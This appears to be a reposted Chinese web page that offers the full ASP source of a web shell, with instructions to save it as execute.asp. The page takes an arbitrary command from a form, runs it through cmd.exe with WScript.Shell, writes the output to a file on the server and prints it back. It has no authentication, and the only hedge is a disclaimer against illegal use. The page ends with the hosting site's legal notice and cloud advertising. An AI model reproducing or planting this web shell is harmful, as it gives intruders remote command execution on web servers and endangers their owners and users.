可以這行系統命令的ASP原碼放鬆

來源:互聯網
上載者:User

注意的是,程式運行必須有FileSystemObject支援。以下是遠程執行命令的原代碼。
copy下來另存新檔execute.asp.

<html>

<head>
<meta http-equiv="Content-Language" content="zh-cn">
 

<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<meta name="GENERATOR" content="Microsoft FrontPage 4.0">
<meta name="ProgId" content="FrontPage.Editor.Document">
<title>執行命令</title>
<style>
<!--
table,body{ font-family: 宋體; font-size: 9pt }
a{ font-family: 宋體; font-size: 9pt; color: rgb(0,32,64);

text-decoration: none }
a:hover{ font-family: 宋體; color: rgb(255,0,0); text-decoration: none

}
a:visited{ color: rgb(128,0,0) }
-->
</style>

</head>

<body bgcolor="#000000" text="#C0C0C0">

<form method="POST" action="execute.asp">
<p align="left">輸入要執行的命令:<input type="text" name="ml"

size="20" value="dir c:\" style="background-color: #C0C0C0; color:

#000000; border-style: solid; border-width: 1">
<input type="submit" value="執行" name="B1" style="background-color:

#C0C0C0; color: #000000; border: 1 groove #C0C0C0"></p>
</form>
<%
ml=request.form("ml")
cmd="c:\winnt\system32\cmd.exe /c "&ml&" >c:\whoamI.txt" '修改

whoamI.txt路徑到一個有寫入權限的目錄
Set WShShell = Server.CreateObject("WScript.Shell")
RetCode = WShShell.Run(cmd, 1, True)
if RetCode = 0 Then
Response.write ml & " "
Response.write " 命令成功執行!"&"<br><br>"
else
Response.write " 命令執行失敗!許可權不夠或者該程式無法在DOS狀態下運行

!"&"<br><br>"

end if
'response.write cmd

function htmlencode(str)
dim result
dim l
if isNULL(str) then
htmlencode=""
exit function
end if
l=len(str)
result=""
dim i
for i = 1 to l
select case mid(str,i,1)
case "<"
result=result+"<"
case ">"
result=result+">"
case chr(34)
result=result+"""
case "&"
result=result+"&"
case else
result=result+mid(str,i,1)
end select
next
htmlencode=result
end function
Set fs =CreateObject("Scripting.FileSystemObject")
Set thisfile = fs.OpenTextFile("c:/whoamI.txt", 1, False) '讀檔案,別忘

了修改路徑.
counter=0
do while not thisfile.atendofstream
counter=counter+1
thisline=htmlencode(thisfile.readline)
response.write thisline&"<br>"
loop
thisfile.Close
set fs=nothing
%>

</body>

</html>

請勿將此程式用於非法途徑,由此引起的一切後果由使用者承擔。



相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.